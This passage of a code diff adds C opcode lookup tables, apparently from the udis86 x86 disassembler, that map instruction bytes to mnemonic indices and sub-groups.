ud_itab__81[] = { + /* 0 */ INVALID, INVALID, INVALID, 1685, +}; + +static const uint16_t ud_itab__82[] = { + /* 0 */ INVALID, INVALID, INVALID, 1687, +}; + +static const uint16_t ud_itab__83[] = { + /* 0 */ INVALID, INVALID, INVALID, 1689, +}; + +static const uint16_t ud_itab__84[] = { + /* 0 */ INVALID, INVALID, INVALID, 1691, +}; + +static const uint16_t ud_itab__85[] = { + /* 0 */ INVALID, INVALID, INVALID, 1693, +}; + +static const uint16_t ud_itab__86[] = { + /* 0 */ 1600, INVALID, INVALID, 1601, +}; + +static const uint16_t ud_itab__87[] = { + /* 0 */ INVALID, INVALID, INVALID, 1622, +}; + +static const uint16_t ud_itab__88[] = { + /* 0 */ INVALID, INVALID, INVALID, 1708, +}; + +static const uint16_t ud_itab__89[] = { + /* 0 */ INVALID, INVALID, INVALID, 1681, +}; + +static const uint16_t ud_itab__90[] = { + /* 0 */ 1603, INVALID, INVALID, 1604, +}; + +static const uint16_t ud_itab__91[] = { + /* 0 */ INVALID, INVALID, INVALID, 1696, +}; + +static const uint16_t ud_itab__92[] = { + /* 0 */ INVALID, INVALID, INVALID, 1698, +}; + +static const uint16_t ud_itab__93[] = { + /* 0 */ INVALID, INVALID, INVALID, 1700, +}; + +static const uint16_t ud_itab__94[] = { + /* 0 */ INVALID, INVALID, INVALID, 1702, +}; + +static const uint16_t ud_itab__95[] = { + /* 0 */ INVALID, INVALID, INVALID, 1704, +}; + +static const uint16_t ud_itab__96[] = { + /* 0 */ INVALID, INVALID, INVALID, 1706, +}; + +static const uint16_t ud_itab__97[] = { + /* 0 */ INVALID, INVALID, INVALID, 1717, +}; + +static const uint16_t ud_itab__98[] = { + /* 0 */ INVALID, INVALID, INVALID, 1624, +}; + +static const uint16_t ud_itab__99[] = { + /* 0 */ INVALID, INVALID, INVALID, 1626, +}; + +static const uint16_t ud_itab__100[] = { + /* 0 */ INVALID, INVALID, INVALID, 1628, +}; + +static const uint16_t ud_itab__101[] = { + /* 0 */ INVALID, INVALID, INVALID, 1630, +}; + +static const uint16_t ud_itab__102[] = { + /* 0 */ INVALID, INVALID, INVALID, 1632, +}; + +static const uint16_t ud_itab__103[] = { + /* 0 */ INVALID, INVALID, INVALID, 1634, +}; + +static const uint16_t ud_itab__104[] = { + /* 0 */ INVALID, INVALID, INVALID, 1638, +}; + +static const uint16_t ud_itab__105[] = { + /* 0 */ INVALID, INVALID, INVALID, 1636, +}; + +static const uint16_t ud_itab__106[] = { + /* 0 */ INVALID, INVALID, INVALID, 1640, +}; + +static const uint16_t ud_itab__107[] = { + /* 0 */ INVALID, INVALID, INVALID, 1642, +}; + +static const uint16_t ud_itab__108[] = { + /* 0 */ INVALID, INVALID, INVALID, 1695, +}; + +static const uint16_t ud_itab__109[] = { + /* 0 */ INVALID, INVALID, INVALID, 45, +}; + +static const uint16_t ud_itab__110[] = { + /* 0 */ INVALID, INVALID, INVALID, 41, +}; + +static const uint16_t ud_itab__111[] = { + /* 0 */ INVALID, INVALID, INVALID, 43, +}; + +static const uint16_t ud_itab__112[] = { + /* 0 */ INVALID, INVALID, INVALID, 37, +}; + +static const uint16_t ud_itab__113[] = { + /* 0 */ INVALID, INVALID, INVALID, 39, +}; + +static const uint16_t ud_itab__114[] = { + /* 0 */ 1723, 1725, INVALID, INVALID, +}; + +static const uint16_t ud_itab__115[] = { + /* 0 */ 1724, 1726, INVALID, INVALID, +}; + +static const uint16_t ud_itab__116[] = { + /* 0 */ INVALID, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, + /* 8 */ GROUP(117), GROUP(118), GROUP(119), GROUP(120), + /* c */ GROUP(121), GROUP(122), GROUP(123), GROUP(124), + /* 10 */ INVALID, INVALID, INVALID, INVALID, + /* 14 */ GROUP(125), GROUP(126), GROUP(127), GROUP(129), + /* 18 */ INVALID, INVALID, INVALID, INVALID, + /* 1c */ INVALID, INVALID, INVALID, INVALID, + /* 20 */ GROUP(130), GROUP(131), GROUP(132), INVALID, + /* 24 */ INVALID, INVALID, INVALID, INVALID, + /* 28 */ INVALID, INVALID, INVALID, INVALID, + /* 2c */ INVALID, INVALID, INVALID, INVALID, + /* 30 */ INVALID, INVALID, INVALID, INVALID, + /* 34 */ INVALID, INVALID, INVALID, INVALID, + /* 38 */ INVALID, INVALID, INVALID, INVALID, + /* 3c */ INVALID, INVALID, INVALID, INVALID, + /* 40 */ GROUP(134), GROUP(135), GROUP(136), INVALID, + /* 44 */ GROUP(137), INVALID, INVALID, INVALID, + /* 48 */ INVALID, INVALID, INVALID, INVALID, + /* 4c */ INVALID, INVALID, INVALID, INVALID, + /* 50 */ INVALID, INVALID, INVALID, INVALID, + /* 54 */ INVALID, INVALID, INVALID, INVALID, + /* 58 */ INVALID, INVALID, INVALID, INVALID, + /* 5c */ INVALID, INVALID, INVALID, INVALID, + /* 60 */ GROUP(139), GROUP(140), GROUP(141), GROUP(142), + /* 64 */ INVALID, INVALID, INVALID, INVALID, + /* 68 */ INVALID, INVALID, INVALID, INVALID, + /* 6c */ INVALID, INVALID, INVALID, INVALID, + /* 70 */ INVALID, INVALID, INVALID, INVALID, + /* 74 */ INVALID, INVALID, INVALID, INVALID, + /* 78 */ INVALID, INVALID, INVALID, INVALID, + /* 7c */ INVALID, INVALID, INVALID, INVALID, + /* 80 */ INVALID, INVALID, INVALID, INVALID, + /* 84 */ INVALID, INVALID, INVALID, INVALID, + /* 88 */ INVALID, INVALID, INVALID, INVALID, + /* 8c */ INVALID, INVALID, INVALID, INVALID, + /* 90 */ INVALID, INVALID, INVALID, INVALID, + /* 94 */ INVALID, INVALID, INVALID, INVALID, + /* 98 */ INVALID, INVALID, INVALID, INVALID, + /* 9c */ INVALID, INVALID, INVALID, INVALID, + /* a0 */ INVALID, INVALID, INVALID, INVALID, + /* a4 */ INVALID, INVALID, INVALID, INVALID, + /* a8 */ INVALID, INVALID, INVALID, INVALID, + /* ac */ INVALID, INVALID, INVALID, INVALID, + /* b0 */ INVALID, INVALID, INVALID, INVALID, + /* b4 */ INVALID, INVALID, INVALID, INVALID, + /* b8 */ INVALID, INVALID, INVALID, INVALID, + /* bc */ INVALID, INVALID, INVALID, INVALID, + /* c0 */ INVALID, INVALID, INVALID, INVALID, + /* c4 */ INVALID, INVALID, INVALID, INVALID, + /* c8 */ INVALID, INVALID, INVALID, INVALID, + /* cc */ INVALID, INVALID, INVALID, INVALID, + /* d0 */ INVALID, INVALID, INVALID, INVALID, + /* d4 */ INVALID, INVALID, INVALID, INVALID, + /* d8 */ INVALID, INVALID, INVALID, INVALID, + /* dc */ INVALID, INVALID, INVALID, GROUP(138), + /* e0 */ INVALID, INVALID, INVALID, INVALID, + /* e4 */ INVALID, INVALID, INVALID, INVALID, + /* e8 */ INVALID, INVALID, INVALID, INVALID, + /* ec */ INVALID, INVALID, INVALID, INVALID, + /* f0 */ INVALID, INVALID, INVALID, INVALID, + /* f4 */ INVALID, INVALID, INVALID, INVALID, + /* f8 */ INVALID, INVALID, INVALID, INVALID, + /* fc */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__117[] = { + /* 0 */ INVALID, INVALID, INVALID, 1644, +}; + +static const uint16_t ud_itab__118[] = { + /* 0 */ INVALID, INVALID, INVALID, 1646, +}; + +static const uint16_t ud_itab__119[] = { + /* 0 */ INVALID, INVALID, INVALID, 1648, +}; + +static const uint16_t ud_itab__120[] = { + /* 0 */ INVALID, INVALID, INVALID, 1650, +}; + +static const uint16_t ud_itab__121[] = { + /* 0 */ INVALID, INVALID, INVALID, 1654, +}; + +static const uint16_t ud_itab__122[] = { + /* 0 */ INVALID, INVALID, INVALID, 1652, +}; + +static const uint16_t ud_itab__123[] = { + /* 0 */ INVALID, INVALID, INVALID, 1677, +}; + +static const uint16_t ud_itab__124[] = { + /* 0 */ 1618, INVALID, INVALID, 1619, +}; + +static const uint16_t ud_itab__125[] = { + /* 0 */ INVALID, INVALID, INVALID, 1045, +}; + +static const uint16_t ud_itab__126[] = { + /* 0 */ INVALID, INVALID, INVALID, 1056, +}; + +static const uint16_t ud_itab__127[] = { + /* 0 */ INVALID, INVALID, INVALID, GROUP(128), +}; + +static const uint16_t ud_itab__128[] = { + /* 0 */ 1047, 1049, 1051, +}; + +static const uint16_t ud_itab__129[] = { + /* 0 */ INVALID, INVALID, INVALID, 201, +}; + +static const uint16_t ud_itab__130[] = { + /* 0 */ INVALID, INVALID, INVALID, 1058, +}; + +static const uint16_t ud_itab__131[] = { + /* 0 */ INVALID, INVALID, INVALID, 1557, +}; + +static const uint16_t ud_itab__132[] = { + /* 0 */ INVALID, INVALID, INVALID, GROUP(133), +}; + +static const uint16_t ud_itab__133[] = { + /* 0 */ 1062, 1063, 1064, +}; + +static const uint16_t ud_itab__134[] = { + /* 0 */ INVALID, INVALID, INVALID, 197, +}; + +static const uint16_t ud_itab__135[] = { + /* 0 */ INVALID, INVALID, INVALID, 195, +}; + +static const uint16_t ud_itab__136[] = { + /* 0 */ INVALID, INVALID, INVALID, 1679, +}; + +static const uint16_t ud_itab__137[] = { + /* 0 */ INVALID, INVALID, INVALID, 1512, +}; + +static const uint16_t ud_itab__138[] = { + /* 0 */ INVALID, INVALID, INVALID, 47, +}; + +static const uint16_t ud_itab__139[] = { + /* 0 */ INVALID, INVALID, INVALID, 1715, +}; + +static const uint16_t ud_itab__140[] = { + /* 0 */ INVALID, INVALID, INVALID, 1713, +}; + +static const uint16_t ud_itab__141[] = { + /* 0 */ INVALID, INVALID, INVALID, 1721, +}; + +static const uint16_t ud_itab__142[] = { + /* 0 */ INVALID, INVALID, INVALID, 1719, +}; + +static const uint16_t ud_itab__143[] = { + /* 0 */ 900, INVALID, INVALID, 898, +}; + +static const uint16_t ud_itab__144[] = { + /* 0 */ 1387, 1391, 1393, 1389, +}; + +static const uint16_t ud_itab__145[] = { + /* 0 */ 1306, INVALID, 1308, INVALID, +}; + +static const uint16_t ud_itab__146[] = { + /* 0 */ 1291, INVALID, 1293, INVALID, +}; + +static const uint16_t ud_itab__147[] = { + /* 0 */ 61, INVALID, INVALID, 59, +}; + +static const uint16_t ud_itab__148[] = { + /* 0 */ 65, INVALID, INVALID, 63, +}; + +static const uint16_t ud_itab__149[] = { + /* 0 */ 976, INVALID, INVALID, 974, +}; + +static const uint16_t ud_itab__150[] = { + /* 0 */ 1499, INVALID, INVALID, 1497, +}; + +static const uint16_t ud_itab__151[] = { + /* 0 */ 27, 29, 31, 25, +}; + +static const uint16_t ud_itab__152[] = { + /* 0 */ 946, 948, 950, 944, +}; + +static const uint16_t ud_itab__153[] = { + /* 0 */ 145, 150, 156, 139, +}; + +static const uint16_t ud_itab__154[] = { + /* 0 */ 134, INVALID, 163, 143, +}; + +static const uint16_t ud_itab__155[] = { + /* 0 */ 1419, 1421, 1423, 1417, +}; + +static const uint16_t ud_itab__156[] = { + /* 0 */ 818, 820, 822, 816, +}; + +static const uint16_t ud_itab__157[] = { + /* 0 */ 189, 191, 193, 187, +}; + +static const uint16_t ud_itab__158[] = { + /* 0 */ 802, 804, 806, 800, +}; + +static const uint16_t ud_itab__159[] = { + /* 0 */ 1209, INVALID, INVALID, 1207, +}; + +static const uint16_t ud_itab__160[] = { + /* 0 */ 1212, INVALID, INVALID, 1210, +}; + +static const uint16_t ud_itab__161[] = { + /* 0 */ 1215, INVALID, INVALID, 1213, +}; + +static const uint16_t ud_itab__162[] = { + /* 0 */ 987, INVALID, INVALID, 985, +}; + +static const uint16_t ud_itab__163[] = { + /* 0 */ 1038, INVALID, INVALID, 1036, +}; + +static const uint16_t ud_itab__164[] = { + /* 0 */ 1041, INVALID, INVALID, 1039, +}; + +static const uint16_t ud_itab__165[] = { + /* 0 */ 1044, INVALID, INVALID, 1042, +}; + +static const uint16_t ud_itab__166[] = { + /* 0 */ 993, INVALID, INVALID, 991, +}; + +static const uint16_t ud_itab__167[] = { + /* 0 */ 1200, INVALID, INVALID, 1198, +}; + +static const uint16_t ud_itab__168[] = { + /* 0 */ 1203, INVALID, INVALID, 1201, +}; + +static const uint16_t ud_itab__169[] = { + /* 0 */ 1206, INVALID, INVALID, 1204, +}; + +static const uint16_t ud_itab__170[] = { + /* 0 */ 990, INVALID, INVALID, 988, +}; + +static const uint16_t ud_itab__171[] = { + /* 0 */ INVALID, INVALID, INVALID, 1547, +}; + +static const uint16_t ud_itab__172[] = { + /* 0 */ INVALID, INVALID, INVALID, 1545, +}; + +static const uint16_t ud_itab__173[] = { + /* 0 */ GROUP(174), INVALID, INVALID, GROUP(175), +}; + +static const uint16_t ud_itab__174[] = { + /* 0 */ 866, 867, 910, +}; + +static const uint16_t ud_itab__175[] = { + /* 0 */ 868, 870, 911, +}; + +static const uint16_t ud_itab__176[] = { + /* 0 */ 920, INVALID, 1522, 1517, +}; + +static const uint16_t ud_itab__177[] = { + /* 0 */ 1134, 1537, 1535, 1539, +}; + +static const uint16_t ud_itab__178[] = { + /* 0 */ INVALID, INVALID, GROUP(179), INVALID, + /* 4 */ GROUP(180), INVALID, GROUP(181), INVALID, +}; + +static const uint16_t ud_itab__179[] = { + /* 0 */ 1159, INVALID, INVALID, 1163, +}; + +static const uint16_t ud_itab__180[] = { + /* 0 */ 1152, INVALID, INVALID, 1150, +}; + +static const uint16_t ud_itab__181[] = { + /* 0 */ 1138, INVALID, INVALID, 1137, +}; + +static const uint16_t ud_itab__182[] = { + /* 0 */ INVALID, INVALID, GROUP(183), INVALID, + /* 4 */ GROUP(184), INVALID, GROUP(185), INVALID, +}; + +static const uint16_t ud_itab__183[] = { + /* 0 */ 1165, INVALID, INVALID, 1169, +}; + +static const uint16_t ud_itab__184[] = { + /* 0 */ 1153, INVALID, INVALID, 1157, +}; + +static const uint16_t ud_itab__185[] = { + /* 0 */ 1142, INVALID, INVALID, 1141, +}; + +static const uint16_t ud_itab__186[] = { + /* 0 */ INVALID, INVALID, GROUP(187), GROUP(188), + /* 4 */ INVALID, INVALID, GROUP(189), GROUP(190), +}; + +static const uint16_t ud_itab__187[] = { + /* 0 */ 1171, INVALID, INVALID, 1175, +}; + +static const uint16_t ud_itab__188[] = { + /* 0 */ INVALID, INVALID, INVALID, 1543, +}; + +static const uint16_t ud_itab__189[] = { + /* 0 */ 1146, INVALID, INVALID, 1145, +}; + +static const uint16_t ud_itab__190[] = { + /* 0 */ INVALID, INVALID, INVALID, 1541, +}; + +static const uint16_t ud_itab__191[] = { + /* 0 */ 1027, INVALID, INVALID, 1028, +}; + +static const uint16_t ud_itab__192[] = { + /* 0 */ 1030, INVALID, INVALID, 1031, +}; + +static const uint16_t ud_itab__193[] = { + /* 0 */ 1033, INVALID, INVALID, 1034, +}; + +static const uint16_t ud_itab__194[] = { + /* 0 */ INVALID, 1464, INVALID, +}; + +static const uint16_t ud_itab__195[] = { + /* 0 */ INVALID, 1465, INVALID, +}; + +static const uint16_t ud_itab__196[] = { + /* 0 */ INVALID, 1551, INVALID, 1549, +}; + +static const uint16_t ud_itab__197[] = { + /* 0 */ INVALID, 1555, INVALID, 1553, +}; + +static const uint16_t ud_itab__198[] = { + /* 0 */ GROUP(199), INVALID, 916, GROUP(200), +}; + +static const uint16_t ud_itab__199[] = { + /* 0 */ 872, 873, 913, +}; + +static const uint16_t ud_itab__200[] = { + /* 0 */ 874, 876, 914, +}; + +static const uint16_t ud_itab__201[] = { + /* 0 */ 921, INVALID, 1524, 1515, +}; + +static const uint16_t ud_itab__202[] = { + /* 0 */ INVALID, GROUP(203), +}; + +static const uint16_t ud_itab__203[] = { + /* 0 */ GROUP(204), GROUP(205), GROUP(206), INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__204[] = { + /* 0 */ 825, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__205[] = { + /* 0 */ 1509, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__206[] = { + /* 0 */ 1510, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__207[] = { + /* 0 */ INVALID, GROUP(208), +}; + +static const uint16_t ud_itab__208[] = { + /* 0 */ GROUP(209), GROUP(210), GROUP(211), GROUP(212), + /* 4 */ GROUP(213), GROUP(214), INVALID, INVALID, +}; + +static const uint16_t ud_itab__209[] = { + /* 0 */ 1511, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__210[] = { + /* 0 */ 1501, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__211[] = { + /* 0 */ 1502, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__212[] = { + /* 0 */ 1503, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__213[] = { + /* 0 */ 1504, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__214[] = { + /* 0 */ 1505, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__215[] = { + /* 0 */ GROUP(216), GROUP(217), +}; + +static const uint16_t ud_itab__216[] = { + /* 0 */ 683, 682, 768, 1400, + /* 4 */ 1507, 1506, INVALID, 79, +}; + +static const uint16_t ud_itab__217[] = { + /* 0 */ INVALID, INVALID, INVALID, INVALID, + /* 4 */ INVALID, GROUP(218), GROUP(219), GROUP(220), +}; + +static const uint16_t ud_itab__218[] = { + /* 0 */ 777, 778, 779, 780, + /* 4 */ 781, 782, 783, 784, +}; + +static const uint16_t ud_itab__219[] = { + /* 0 */ 808, 809, 810, 811, + /* 4 */ 812, 813, 814, 815, +}; + +static const uint16_t ud_itab__220[] = { + /* 0 */ 1366, 1367, 1368, 1369, + /* 4 */ 1370, 1371, 1372, 1373, +}; + +static const uint16_t ud_itab__221[] = { + /* 0 */ INVALID, INVALID, 1710, INVALID, +}; + +static const uint16_t ud_itab__222[] = { + /* 0 */ INVALID, INVALID, INVALID, INVALID, + /* 4 */ 1669, 1676, 1674, 1672, +}; + +static const uint16_t ud_itab__223[] = { + /* 0 */ 112, 117, 120, 110, +}; + +static const uint16_t ud_itab__224[] = { + /* 0 */ 1059, INVALID, INVALID, 1060, +}; + +static const uint16_t ud_itab__225[] = { + /* 0 */ 1055, INVALID, INVALID, 1053, +}; + +static const uint16_t ud_itab__226[] = { + /* 0 */ 1381, INVALID, INVALID, 1379, +}; + +static const uint16_t ud_itab__227[] = { + /* 0 */ GROUP(228), GROUP(235), +}; + +static const uint16_t ud_itab__228[] = { + /* 0 */ INVALID, GROUP(229), INVALID, INVALID, + /* 4 */ INVALID, INVALID, GROUP(230), GROUP(234), +}; + +static const uint16_t ud_itab__229[] = { + /* 0 */ 124, 125, 126, +}; + +static const uint16_t ud_itab__230[] = { + /* 0 */ GROUP(231), INVALID, GROUP(232), GROUP(233), +}; + +static const uint16_t ud_itab__231[] = { + /* 0 */ INVALID, 1459, INVALID, +}; + +static const uint16_t ud_itab__232[] = { + /* 0 */ INVALID, 1458, INVALID, +}; + +static const uint16_t ud_itab__233[] = { + /* 0 */ INVALID, 1457, INVALID, +}; + +static const uint16_t ud_itab__234[] = { + /* 0 */ INVALID, 1460, INVALID, +}; + +static const uint16_t ud_itab__235[] = { + /* 0 */ INVALID, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, 1456, INVALID, +}; + +static const uint16_t ud_itab__236[] = { + /* 0 */ INVALID, 35, INVALID, 33, +}; + +static const uint16_t ud_itab__237[] = { + /* 0 */ 1160, INVALID, INVALID, 1161, +}; + +static const uint16_t ud_itab__238[] = { + /* 0 */ 1166, INVALID, INVALID, 1167, +}; + +static const uint16_t ud_itab__239[] = { + /* 0 */ 1172, INVALID, INVALID, 1173, +}; + +static const uint16_t ud_itab__240[] = { + /* 0 */ 1527, INVALID, INVALID, 1528, +}; + +static const uint16_t ud_itab__241[] = { + /* 0 */ 1093, INVALID, INVALID, 1094, +}; + +static const uint16_t ud_itab__242[] = { + /* 0 */ INVALID, 1521, 1526, 918, +}; + +static const uint16_t ud_itab__243[] = { + /* 0 */ 1086, INVALID, INVALID, 1084, +}; + +static const uint16_t ud_itab__244[] = { + /* 0 */ 1192, INVALID, INVALID, 1193, +}; + +static const uint16_t ud_itab__245[] = { + /* 0 */ 1195, INVALID, INVALID, 1196, +}; + +static const uint16_t ud_itab__246[] = { + /* 0 */ 1083, INVALID, INVALID, 1081, +}; + +static const uint16_t ud_itab__247[] = { + /* 0 */ 1017, INVALID, INVALID, 1015, +}; + +static const uint16_t ud_itab__248[] = { + /* 0 */ 1009, INVALID, INVALID, 1010, +}; + +static const uint16_t ud_itab__249[] = { + /* 0 */ 1012, INVALID, INVALID, 1013, +}; + +static const uint16_t ud_itab__250[] = { + /* 0 */ 1075, INVALID, INVALID, 1076, +}; + +static const uint16_t ud_itab__251[] = { + /* 0 */ 1020, INVALID, INVALID, 1018, +}; + +static const uint16_t ud_itab__252[] = { + /* 0 */ 1023, INVALID, INVALID, 1021, +}; + +static const uint16_t ud_itab__253[] = { + /* 0 */ 1147, INVALID, INVALID, 1148, +}; + +static const uint16_t ud_itab__254[] = { + /* 0 */ 1156, INVALID, INVALID, 1154, +}; + +static const uint16_t ud_itab__255[] = { + /* 0 */ 1026, INVALID, INVALID, 1024, +}; + +static const uint16_t ud_itab__256[] = { + /* 0 */ 1087, INVALID, INVALID, 1088, +}; + +static const uint16_t ud_itab__257[] = { + /* 0 */ 1092, INVALID, INVALID, 1090, +}; + +static const uint16_t ud_itab__258[] = { + /* 0 */ INVALID, 136, 132, 160, +}; + +static const uint16_t ud_itab__259[] = { + /* 0 */ 909, INVALID, INVALID, 902, +}; + +static const uint16_t ud_itab__260[] = { + /* 0 */ 1186, INVALID, INVALID, 1187, +}; + +static const uint16_t ud_itab__261[] = { + /* 0 */ 1189, INVALID, INVALID, 1190, +}; + +static const uint16_t ud_itab__262[] = { + /* 0 */ 1080, INVALID, INVALID, 1078, +}; + +static const uint16_t ud_itab__263[] = { + /* 0 */ 1118, INVALID, INVALID, 1116, +}; + +static const uint16_t ud_itab__264[] = { + /* 0 */ 1003, INVALID, INVALID, 1004, +}; + +static const uint16_t ud_itab__265[] = { + /* 0 */ 1006, INVALID, INVALID, 1007, +}; + +static const uint16_t ud_itab__266[] = { + /* 0 */ 1074, INVALID, INVALID, 1072, +}; + +static const uint16_t ud_itab__267[] = { + /* 0 */ 1266, INVALID, INVALID, 1264, +}; + +static const uint16_t ud_itab__268[] = { + /* 0 */ INVALID, 1559, INVALID, INVALID, +}; + +static const uint16_t ud_itab__269[] = { + /* 0 */ 1136, INVALID, INVALID, 1135, +}; + +static const uint16_t ud_itab__270[] = { + /* 0 */ 1140, INVALID, INVALID, 1139, +}; + +static const uint16_t ud_itab__271[] = { + /* 0 */ 1144, INVALID, INVALID, 1143, +}; + +static const uint16_t ud_itab__272[] = { + /* 0 */ 1533, INVALID, INVALID, 1534, +}; + +static const uint16_t ud_itab__273[] = { + /* 0 */ 1069, INVALID, INVALID, 1070, +}; + +static const uint16_t ud_itab__274[] = { + /* 0 */ 1133, INVALID, INVALID, 1131, +}; + +static const uint16_t ud_itab__275[] = { + /* 0 */ INVALID, GROUP(276), +}; + +static const uint16_t ud_itab__276[] = { + /* 0 */ 799, INVALID, INVALID, 1519, +}; + +static const uint16_t ud_itab__277[] = { + /* 0 */ 1179, INVALID, INVALID, 1177, +}; + +static const uint16_t ud_itab__278[] = { + /* 0 */ 1182, INVALID, INVALID, 1180, +}; + +static const uint16_t ud_itab__279[] = { + /* 0 */ 1183, INVALID, INVALID, 1184, +}; + +static const uint16_t ud_itab__280[] = { + /* 0 */ 1532, INVALID, INVALID, 1530, +}; + +static const uint16_t ud_itab__281[] = { + /* 0 */ 996, INVALID, INVALID, 994, +}; + +static const uint16_t ud_itab__282[] = { + /* 0 */ 997, INVALID, INVALID, 998, +}; + +static const uint16_t ud_itab__283[] = { + /* 0 */ 1000, INVALID, INVALID, 1001, +}; + +static const uint16_t ud_itab__284[] = { + /* 0 */ 1242, INVALID, +}; + +static const uint16_t ud_itab__285[] = { + /* 0 */ 1097, INVALID, +}; + +static const uint16_t ud_itab__286[] = { + /* 0 */ 1243, INVALID, +}; + +static const uint16_t ud_itab__287[] = { + /* 0 */ 1098, INVALID, +}; + +static const uint16_t ud_itab__288[] = { + /* 0 */ 173, INVALID, +}; + +static const uint16_t ud_itab__289[] = { + /* 0 */ 174, INVALID, +}; + +static const uint16_t ud_itab__290[] = { + /* 0 */ 1, INVALID, +}; + +static const uint16_t ud_itab__291[] = { + /* 0 */ 4, INVALID, +}; + +static const uint16_t ud_itab__292[] = { + /* 0 */ GROUP(293), GROUP(294), INVALID, +}; + +static const uint16_t ud_itab__293[] = { + /* 0 */ 1257, INVALID, +}; + +static const uint16_t ud_itab__294[] = { + /* 0 */ 1258, INVALID, +}; + +static const uint16_t ud_itab__295[] = { + /* 0 */ GROUP(296), GROUP(297), INVALID, +}; + +static const uint16_t ud_itab__296[] = { + /* 0 */ 1110, INVALID, +}; + +static const uint16_t ud_itab__297[] = { + /* 0 */ 1111, INVALID, +}; + +static const uint16_t ud_itab__298[] = { + /* 0 */ 1658, INVALID, +}; + +static const uint16_t ud_itab__299[] = { + /* 0 */ 67, 68, +}; + +static const uint16_t ud_itab__300[] = { + /* 0 */ 710, 711, INVALID, +}; + +static const uint16_t ud_itab__301[] = { + /* 0 */ 983, 984, INVALID, +}; + +static const uint16_t ud_itab__302[] = { + /* 0 */ 21, 970, 11, 1342, + /* 4 */ 55, 1413, 1493, 106, +}; + +static const uint16_t ud_itab__303[] = { + /* 0 */ 23, 971, 13, 1343, + /* 4 */ 57, 1414, 1494, 108, +}; + +static const uint16_t ud_itab__304[] = { + /* 0 */ GROUP(305), GROUP(306), GROUP(307), GROUP(308), + /* 4 */ GROUP(309), GROUP(310), GROUP(311), GROUP(312), +}; + +static const uint16_t ud_itab__305[] = { + /* 0 */ 22, INVALID, +}; + +static const uint16_t ud_itab__306[] = { + /* 0 */ 972, INVALID, +}; + +static const uint16_t ud_itab__307[] = { + /* 0 */ 12, INVALID, +}; + +static const uint16_t ud_itab__308[] = { + /* 0 */ 1344, INVALID, +}; + +static const uint16_t ud_itab__309[] = { + /* 0 */ 56, INVALID, +}; + +static const uint16_t ud_itab__310[] = { + /* 0 */ 1415, INVALID, +}; + +static const uint16_t ud_itab__311[] = { + /* 0 */ 1495, INVALID, +}; + +static const uint16_t ud_itab__312[] = { + /* 0 */ 107, INVALID, +}; + +static const uint16_t ud_itab__313[] = { + /* 0 */ 24, 973, 14, 1345, + /* 4 */ 58, 1416, 1496, 109, +}; + +static const uint16_t ud_itab__314[] = { + /* 0 */ 1109, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__315[] = { + /* 0 */ 74, 75, 76, +}; + +static const uint16_t ud_itab__316[] = { + /* 0 */ 170, 171, 172, +}; + +static const uint16_t ud_itab__317[] = { + /* 0 */ 73, INVALID, +}; + +static const uint16_t ud_itab__318[] = { + /* 0 */ GROUP(319), GROUP(320), GROUP(321), +}; + +static const uint16_t ud_itab__319[] = { + /* 0 */ 1259, 1260, +}; + +static const uint16_t ud_itab__320[] = { + /* 0 */ 1261, 1262, +}; + +static const uint16_t ud_itab__321[] = { + /* 0 */ INVALID, 1263, +}; + +static const uint16_t ud_itab__322[] = { + /* 0 */ GROUP(323), GROUP(324), GROUP(325), +}; + +static const uint16_t ud_itab__323[] = { + /* 0 */ 1112, INVALID, +}; + +static const uint16_t ud_itab__324[] = { + /* 0 */ 1113, 1114, +}; + +static const uint16_t ud_itab__325[] = { + /* 0 */ INVALID, 1115, +}; + +static const uint16_t ud_itab__326[] = { + /* 0 */ 923, 924, 927, +}; + +static const uint16_t ud_itab__327[] = { + /* 0 */ 115, 116, 119, +}; + +static const uint16_t ud_itab__328[] = { + /* 0 */ 1403, 1404, 1405, +}; + +static const uint16_t ud_itab__329[] = { + /* 0 */ 791, 792, 793, +}; + +static const uint16_t ud_itab__330[] = { + /* 0 */ 1347, 1348, 1349, +}; + +static const uint16_t ud_itab__331[] = { + /* 0 */ 1279, 1286, 1267, 1275, + /* 4 */ 1327, 1334, 1318, 1313, +}; + +static const uint16_t ud_itab__332[] = { + /* 0 */ 1284, 1287, 1268, 1274, + /* 4 */ 1323, 1330, 1319, 1315, +}; + +static const uint16_t ud_itab__333[] = { + /* 0 */ GROUP(334), GROUP(335), INVALID, INVALID, + /* 4 */ INVALID, GROUP(341), GROUP(357), GROUP(369), + /* 8 */ INVALID, GROUP(394), INVALID, INVALID, + /* c */ INVALID, GROUP(399), INVALID, INVALID, +}; + +static const uint16_t ud_itab__334[] = { + /* 0 */ 771, INVALID, +}; + +static const uint16_t ud_itab__335[] = { + /* 0 */ INVALID, INVALID, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, + /* 8 */ INVALID, INVALID, INVALID, INVALID, + /* c */ INVALID, INVALID, INVALID, INVALID, + /* 10 */ 937, 939, GROUP(336), 895, + /* 14 */ 1450, 1448, GROUP(337), 885, + /* 18 */ INVALID, INVALID, INVALID, INVALID, + /* 1c */ INVALID, INVALID, INVALID, INVALID, + /* 20 */ INVALID, INVALID, INVALID, INVALID, + /* 24 */ INVALID, INVALID, INVALID, INVALID, + /* 28 */ 863, 865, INVALID, 